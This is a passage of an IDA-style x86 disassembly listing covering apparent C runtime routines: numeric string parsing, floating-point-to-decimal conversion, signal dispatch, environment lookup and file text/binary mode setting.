jg short loc_421777
loc_42176E: ; CODE XREF: sub_4214D8+250j
; sub_4214D8+28Aj
push 9
loc_421770: ; CODE XREF: sub_4214D8+76j
pop eax
loc_421771: ; CODE XREF: sub_4214D8+240j
dec edi
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_421777: ; CODE XREF: sub_4214D8+28Fj
; sub_4214D8+294j
cmp bl, 30h
jnz short loc_4217C0
jmp short loc_42173F
; ---------------------------------------------------------------------------
loc_42177E: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11
jz short loc_4217AE
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4217A6
dec eax
dec eax
jnz loc_42184E
loc_42179A: ; CODE XREF: sub_4214D8+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_4217A6: ; CODE XREF: sub_4214D8+258j
; sub_4214D8+2B8j
push 7
loc_4217A8: ; CODE XREF: sub_4214D8+85j
; sub_4214D8+103j ...
pop eax
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_4217AE: ; CODE XREF: sub_4214D8+2AAj
push 0Ah
dec edi
pop eax
loc_4217B2: ; CODE XREF: sub_4214D8+5Dj
; sub_4214D8+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0042153B case 10
jz loc_421850
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_4217C0: ; CODE XREF: sub_4214D8+12Dj
; sub_4214D8+238j ...
mov edi, [ebp+arg_8]
jmp loc_421850
; ---------------------------------------------------------------------------
loc_4217C8: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
mov [ebp+var_20], 1 ; jumptable 0042153B case 9
xor esi, esi
loc_4217D1: ; CODE XREF: sub_4214D8+339j
cmp dword_4397AC, 1
jle short loc_4217E9
movzx eax, bl
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_4217F8
; ---------------------------------------------------------------------------
loc_4217E9: ; CODE XREF: sub_4214D8+300j
mov ecx, off_4395A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4217F8: ; CODE XREF: sub_4214D8+30Fj
test eax, eax
jz short loc_421818
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_421813
mov bl, [edi]
inc edi
jmp short loc_4217D1
; ---------------------------------------------------------------------------
loc_421813: ; CODE XREF: sub_4214D8+334j
mov esi, 1451h
loc_421818: ; CODE XREF: sub_4214D8+322j
mov [ebp+var_1C], esi
loc_42181B: ; CODE XREF: sub_4214D8+371j
cmp dword_4397AC, 1
jle short loc_421833
movzx eax, bl
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_421842
; ---------------------------------------------------------------------------
loc_421833: ; CODE XREF: sub_4214D8+34Aj
mov ecx, off_4395A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_421842: ; CODE XREF: sub_4214D8+359j
test eax, eax
jz short loc_42184B
mov bl, [edi]
inc edi
jmp short loc_42181B
; ---------------------------------------------------------------------------
loc_42184B: ; CODE XREF: sub_4214D8+99j
; sub_4214D8+E4j ...
dec edi
jmp short loc_421850
; ---------------------------------------------------------------------------
loc_42184E: ; CODE XREF: sub_4214D8+261j
; sub_4214D8+2BCj
mov edi, ecx
loc_421850: ; CODE XREF: sub_4214D8+2DDj
; sub_4214D8+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_421938
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_42187C
cmp [ebp+var_45], 5
jl short loc_421870
inc [ebp+var_45]
loc_421870: ; CODE XREF: sub_4214D8+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_42187F
; ---------------------------------------------------------------------------
loc_42187C: ; CODE XREF: sub_4214D8+38Dj
mov eax, [ebp+var_C]
loc_42187F: ; CODE XREF: sub_4214D8+3A2j
cmp [ebp+var_4], 0
jbe loc_42192E
loc_421889: ; CODE XREF: sub_4214D8+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_421897
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_421889
; ---------------------------------------------------------------------------
loc_421897: ; CODE XREF: sub_4214D8+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_421411
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4218B6
neg eax
loc_4218B6: ; CODE XREF: sub_4214D8+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4218C1
add eax, [ebp+arg_10]
loc_4218C1: ; CODE XREF: sub_4214D8+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4218C9
sub eax, [ebp+arg_14]
loc_4218C9: ; CODE XREF: sub_4214D8+3ECj
cmp eax, 1450h
jle short loc_421900
mov [ebp+var_2C], 1
loc_4218D7: ; CODE XREF: sub_4214D8+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4218E3: ; CODE XREF: sub_4214D8+454j
; sub_4214D8+45Ej
cmp [ebp+var_2C], 0
jz short loc_421949
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_42195E
; ---------------------------------------------------------------------------
loc_421900: ; CODE XREF: sub_4214D8+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_421910
mov [ebp+var_30], 1
jmp short loc_4218D7
; ---------------------------------------------------------------------------
loc_421910: ; CODE XREF: sub_4214D8+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_4220C1
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4218E3
; ---------------------------------------------------------------------------
loc_42192E: ; CODE XREF: sub_4214D8+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4218E3
; ---------------------------------------------------------------------------
loc_421938: ; CODE XREF: sub_4214D8+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_42195E
; ---------------------------------------------------------------------------
loc_421949: ; CODE XREF: sub_4214D8+40Fj
cmp [ebp+var_30], 0
jz short loc_42195E
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_42195E: ; CODE XREF: sub_4214D8+426j
; sub_4214D8+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4214D8 endp
; ---------------------------------------------------------------------------
off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r
dd offset loc_421591 ; jump table for switch statement
dd offset loc_4215E8
dd offset loc_421612
dd offset loc_42166D
dd offset loc_4216E4
dd offset loc_42171A
dd offset loc_421764
dd offset loc_421743
dd offset loc_4217C8
dd offset loc_4217B2
dd offset loc_42177E
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_421A0B
mov byte ptr [ebx+2], 2Dh
jmp short loc_421A0F
; ---------------------------------------------------------------------------
loc_421A0B: ; CODE XREF: sub_4219A9+5Aj
mov byte ptr [ebx+2], 20h
loc_421A0F: ; CODE XREF: sub_4219A9+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_421A35
test edi, edi
jnz short loc_421A35
cmp [ebp+arg_0], edi
jnz short loc_421A35
loc_421A20: ; CODE XREF: sub_4219A9+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_421C33
; ---------------------------------------------------------------------------
loc_421A35: ; CODE XREF: sub_4219A9+6Cj
; sub_4219A9+70j ...
cmp dx, si
jnz short loc_421AB4
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_421A4E
cmp [ebp+arg_0], 0
jz short loc_421A5D
loc_421A4E: ; CODE XREF: sub_4219A9+9Dj
test edi, 40000000h
jnz short loc_421A5D
push offset a1Snan ; "1#SNAN"
jmp short loc_421AA3
; ---------------------------------------------------------------------------
loc_421A5D: ; CODE XREF: sub_4219A9+A3j
; sub_4219A9+ABj
test cx, cx
jz short loc_421A77
cmp edi, 0C0000000h
jnz short loc_421A77
cmp [ebp+arg_0], 0
jnz short loc_421A9E
push offset a1Ind ; "1#IND"
jmp short loc_421A86
; ---------------------------------------------------------------------------
loc_421A77: ; CODE XREF: sub_4219A9+B7j
; sub_4219A9+BFj
cmp edi, eax
jnz short loc_421A9E
cmp [ebp+arg_0], 0
jnz short loc_421A9E
push offset a1Inf ; "1#INF"
loc_421A86: ; CODE XREF: sub_4219A9+CCj
lea eax, [ebx+4]
push eax
call sub_4179C0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_421A95: ; CODE XREF: sub_4219A9+109j
and [ebp+var_4], 0
jmp loc_421C0C
; ---------------------------------------------------------------------------
loc_421A9E: ; CODE XREF: sub_4219A9+C5j
; sub_4219A9+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_421AA3: ; CODE XREF: sub_4219A9+B2j
lea eax, [ebx+4]
push eax
call sub_4179C0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_421A95
; ---------------------------------------------------------------------------
loc_421AB4: ; CODE XREF: sub_4219A9+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_4220C1
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_421B15
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_421EA1
pop ecx
pop ecx
loc_421B15: ; CODE XREF: sub_4219A9+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_421B2F
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_421B32
jmp loc_421A20
; ---------------------------------------------------------------------------
loc_421B2F: ; CODE XREF: sub_4219A9+173j
mov edi, [ebp+arg_C]
loc_421B32: ; CODE XREF: sub_4219A9+17Fj
cmp edi, 15h
jle short loc_421B3A
push 15h
pop edi
loc_421B3A: ; CODE XREF: sub_4219A9+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_421B50: ; CODE XREF: sub_4219A9+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4213B6
dec [ebp+arg_14]
pop ecx
jnz short loc_421B50
test esi, esi
jge short loc_421B7A
neg esi
and esi, 0FFh
jle short loc_421B7A
loc_421B6D: ; CODE XREF: sub_4219A9+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4213E4
dec esi
pop ecx
jnz short loc_421B6D
loc_421B7A: ; CODE XREF: sub_4219A9+1B8j
; sub_4219A9+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_421BD7
mov [ebp+arg_C], ecx
loc_421B8A: ; CODE XREF: sub_4219A9+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4213B6
lea eax, [ebp+var_10]
push eax
call sub_4213B6
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_421358
lea eax, [ebp+var_10]
push eax
call sub_4213B6
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_421B8A
mov eax, [ebp+arg_14]
loc_421BD7: ; CODE XREF: sub_4219A9+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_421C14
loc_421BE4: ; CODE XREF: sub_4219A9+248j
cmp eax, ecx
jb short loc_421BF7
cmp byte ptr [eax], 39h
jnz short loc_421BF3
mov byte ptr [eax], 30h
dec eax
jmp short loc_421BE4
; ---------------------------------------------------------------------------
loc_421BF3: ; CODE XREF: sub_4219A9+242j
cmp eax, ecx
jnb short loc_421BFB
loc_421BF7: ; CODE XREF: sub_4219A9+23Dj
inc eax
inc word ptr [ebx]
loc_421BFB: ; CODE XREF: sub_4219A9+24Cj
inc byte ptr [eax]
loc_421BFD: ; CODE XREF: sub_4219A9+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_421C0C: ; CODE XREF: sub_4219A9+F0j
mov eax, [ebp+var_4]
loc_421C0F: ; CODE XREF: sub_4219A9+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421C14: ; CODE XREF: sub_4219A9+239j
; sub_4219A9+275j
cmp eax, ecx
jb short loc_421C24
cmp byte ptr [eax], 30h
jnz short loc_421C20
dec eax
jmp short loc_421C14
; ---------------------------------------------------------------------------
loc_421C20: ; CODE XREF: sub_4219A9+272j
cmp eax, ecx
jnb short loc_421BFD
loc_421C24: ; CODE XREF: sub_4219A9+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_421C33: ; CODE XREF: sub_4219A9+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_421C0F
sub_4219A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_421CA3
dec eax
dec eax
jz short loc_421C94
sub eax, 4
jz short loc_421C94
sub eax, 3
jz short loc_421C94
sub eax, 4
jz short loc_421C87
sub eax, 6
jz short loc_421C7A
dec eax
jz short loc_421C6D
or eax, 0FFFFFFFFh
jmp loc_421D65
; ---------------------------------------------------------------------------
loc_421C6D: ; CODE XREF: sub_421C3C+27j
mov esi, dword_48A2F4
mov eax, offset dword_48A2F4
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421C7A: ; CODE XREF: sub_421C3C+24j
mov esi, dword_48A2F0
mov eax, offset dword_48A2F0
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421C87: ; CODE XREF: sub_421C3C+1Fj
mov esi, dword_48A2F8
mov eax, offset dword_48A2F8
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421C94: ; CODE XREF: sub_421C3C+10j
; sub_421C3C+15j ...
push edi
call sub_421D69
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421CA3: ; CODE XREF: sub_421C3C+Cj
mov esi, dword_48A2EC
mov eax, offset dword_48A2EC
loc_421CAE: ; CODE XREF: sub_421C3C+3Cj
; sub_421C3C+49j ...
cmp esi, 1
jnz short loc_421CBA
xor eax, eax
jmp loc_421D65
; ---------------------------------------------------------------------------
loc_421CBA: ; CODE XREF: sub_421C3C+75j
test esi, esi
jnz short loc_421CC5
push 3
call sub_419AF6
loc_421CC5: ; CODE XREF: sub_421C3C+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_421CD7
cmp edi, 0Bh
jz short loc_421CD7
cmp edi, 4
jnz short loc_421CFD
loc_421CD7: ; CODE XREF: sub_421C3C+8Fj
; sub_421C3C+94j
mov ebx, dword_48A0C8
and dword_48A0C8, 0
cmp edi, ecx
jnz short loc_421D2C
mov edx, dword_43BC1C
mov dword_43BC1C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_421D00
; ---------------------------------------------------------------------------
loc_421CFD: ; CODE XREF: sub_421C3C+99j
mov ebx, [ebp+arg_0]
loc_421D00: ; CODE XREF: sub_421C3C+BFj
cmp edi, ecx
jnz short loc_421D2C
mov eax, dword_43BC10
mov ecx, dword_43BC14
add ecx, eax
cmp eax, ecx
jge short loc_421D33
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43BBA0h[edx*4]
loc_421D21: ; CODE XREF: sub_421C3C+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_421D21
jmp short loc_421D33
; ---------------------------------------------------------------------------
loc_421D2C: ; CODE XREF: sub_421C3C+AAj
; sub_421C3C+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_421D41
loc_421D33: ; CODE XREF: sub_421C3C+D7j
; sub_421C3C+EEj
push dword_43BC1C
push 8
call esi
pop ecx
pop ecx
jmp short loc_421D4F
; ---------------------------------------------------------------------------
loc_421D41: ; CODE XREF: sub_421C3C+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_421D4F
cmp edi, 4
jnz short loc_421D62
loc_421D4F: ; CODE XREF: sub_421C3C+103j
; sub_421C3C+10Cj
cmp edi, 8
mov dword_48A0C8, ebx
jnz short loc_421D62
mov eax, [ebp+arg_0]
mov dword_43BC1C, eax
loc_421D62: ; CODE XREF: sub_421C3C+111j
; sub_421C3C+11Cj
xor eax, eax
pop ebx
loc_421D65: ; CODE XREF: sub_421C3C+2Cj
; sub_421C3C+79j
pop edi
pop esi
pop ebp
retn
sub_421C3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421D69 proc near ; CODE XREF: sub_421C3C+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43BC18
cmp dword_43BB9C, edx
push esi
mov eax, offset dword_43BB98
jz short loc_421D97
lea esi, [ecx+ecx*2]
lea esi, ds:43BB98h[esi*4]
loc_421D8B: ; CODE XREF: sub_421D69+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_421D97
cmp [eax+4], edx
jnz short loc_421D8B
loc_421D97: ; CODE XREF: sub_421D69+16j
; sub_421D69+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43BB98h[ecx*4]
cmp eax, ecx
jnb short loc_421DAB
cmp [eax+4], edx
jz short locret_421DAD
loc_421DAB: ; CODE XREF: sub_421D69+3Bj
xor eax, eax
locret_421DAD: ; CODE XREF: sub_421D69+40j
retn
sub_421D69 endp
; =============== S U B R O U T I N E =======================================
sub_421DAE proc near ; CODE XREF: sub_42094E+23p
arg_0 = dword ptr 4
cmp dword_48B690, 0
push ebx
push esi
mov esi, dword_48A03C
push edi
jz short loc_421E25
test esi, esi
jnz short loc_421DDF
cmp dword_48A044, esi
jz short loc_421E25
call sub_42217C
test eax, eax
jnz short loc_421E25
mov esi, dword_48A03C
test esi, esi
jz short loc_421E25
loc_421DDF: ; CODE XREF: sub_421DAE+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_421E25
push ebx
call sub_417AB0
pop ecx
mov edi, eax
loc_421DF0: ; CODE XREF: sub_421DAE+6Dj
mov eax, [esi]
test eax, eax
jz short loc_421E25
push eax
call sub_417AB0
cmp eax, edi
pop ecx
jbe short loc_421E18
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_421E18
push edi
push ebx
push eax
call sub_42213D
add esp, 0Ch
test eax, eax
jz short loc_421E1D
loc_421E18: ; CODE XREF: sub_421DAE+51j
; sub_421DAE+59j
add esi, 4
jmp short loc_421DF0
; ---------------------------------------------------------------------------
loc_421E1D: ; CODE XREF: sub_421DAE+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_421E27
; ---------------------------------------------------------------------------
loc_421E25: ; CODE XREF: sub_421DAE+10j
; sub_421DAE+1Cj ...
xor eax, eax
loc_421E27: ; CODE XREF: sub_421DAE+75j
pop edi
pop esi
pop ebx
retn
sub_421DAE endp
; =============== S U B R O U T I N E =======================================
sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp
; sub_4211F1+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_48B440
jnb short loc_421E92
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_48B340[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_421E92
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_421E6B
and cl, 7Fh
jmp short loc_421E78
; ---------------------------------------------------------------------------
loc_421E6B: ; CODE XREF: sub_421E2B+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_421E86
or cl, 80h
loc_421E78: ; CODE XREF: sub_421E2B+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_421E86: ; CODE XREF: sub_421E2B+48j
mov dword_48A014, 16h
jmp short loc_421E9C
; ---------------------------------------------------------------------------
loc_421E92: ; CODE XREF: sub_421E2B+Bj
; sub_421E2B+27j
mov dword_48A014, 9
loc_421E9C: ; CODE XREF: sub_421E2B+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_421E2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p
; sub_4220C1+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_4220A1
cmp cx, 7FFFh
jnb loc_4220A1
cmp dx, 0BFFDh
ja loc_4220A1
cmp dx, 3FBFh
ja short loc_421F0A
xor eax, eax
jmp short loc_421F44
; ---------------------------------------------------------------------------
loc_421F0A: ; CODE XREF: sub_421EA1+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_421F2C
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_421F2C
xor eax, eax
cmp [esi+4], eax
jnz short loc_421F2E
cmp [esi], eax
jnz short loc_421F2E
jmp loc_42209B
; ---------------------------------------------------------------------------
loc_421F2C: ; CODE XREF: sub_421EA1+71j
; sub_421EA1+79j
xor eax, eax
loc_421F2E: ; CODE XREF: sub_421EA1+80j
; sub_421EA1+84j
cmp cx, ax
jnz short loc_421F51
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_421F51
cmp [ebx+4], eax
jnz short loc_421F51
cmp [ebx], eax
jnz short loc_421F51
loc_421F44: ; CODE XREF: sub_421EA1+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_4220BC
; ---------------------------------------------------------------------------
loc_421F51: ; CODE XREF: sub_421EA1+90j
; sub_421EA1+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_421F61: ; CODE XREF: sub_421EA1+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_421FB5
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_421F7D: ; CODE XREF: sub_421EA1+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_421FA8
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_421FA8: ; CODE XREF: sub_421EA1+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_421F7D
loc_421FB5: ; CODE XREF: sub_421EA1+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_421F61
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_421FF8
loc_421FD3: ; CODE XREF: sub_421EA1+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_421FF1
lea eax, [ebp+var_24]
push eax
call sub_4213B6
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_421FD3
loc_421FF1: ; CODE XREF: sub_421EA1+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_422031
loc_421FF8: ; CODE XREF: sub_421EA1+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_422031
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_422011: ; CODE XREF: sub_421EA1+184j
test byte ptr [ebp+var_24], 1
jz short loc_42201A
inc [ebp+var_14]
loc_42201A: ; CODE XREF: sub_421EA1+174j
lea eax, [ebp+var_24]
push eax
call sub_4213E4
dec ebx
pop ecx
jnz short loc_422011
cmp [ebp+var_14], 0
jz short loc_422031
or byte ptr [ebp+var_24], 1
loc_422031: ; CODE XREF: sub_421EA1+155j
; sub_421EA1+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_422048
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_42207D
loc_422048: ; CODE XREF: sub_421EA1+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_42207A
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_422075
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_42206F
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_42207D
; ---------------------------------------------------------------------------
loc_42206F: ; CODE XREF: sub_421EA1+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_42207D
; ---------------------------------------------------------------------------
loc_422075: ; CODE XREF: sub_421EA1+1B5j
inc [ebp+var_20+2]
jmp short loc_42207D
; ---------------------------------------------------------------------------
loc_42207A: ; CODE XREF: sub_421EA1+1ABj
inc [ebp+var_24+2]
loc_42207D: ; CODE XREF: sub_421EA1+1A5j
; sub_421EA1+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_4220A1
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_42209B: ; CODE XREF: sub_421EA1+86j
mov [esi+0Ah], ax
jmp short loc_4220BC
; ---------------------------------------------------------------------------
loc_4220A1: ; CODE XREF: sub_421EA1+42j
; sub_421EA1+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_4220BC: ; CODE XREF: sub_421EA1+ABj
; sub_421EA1+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_421EA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
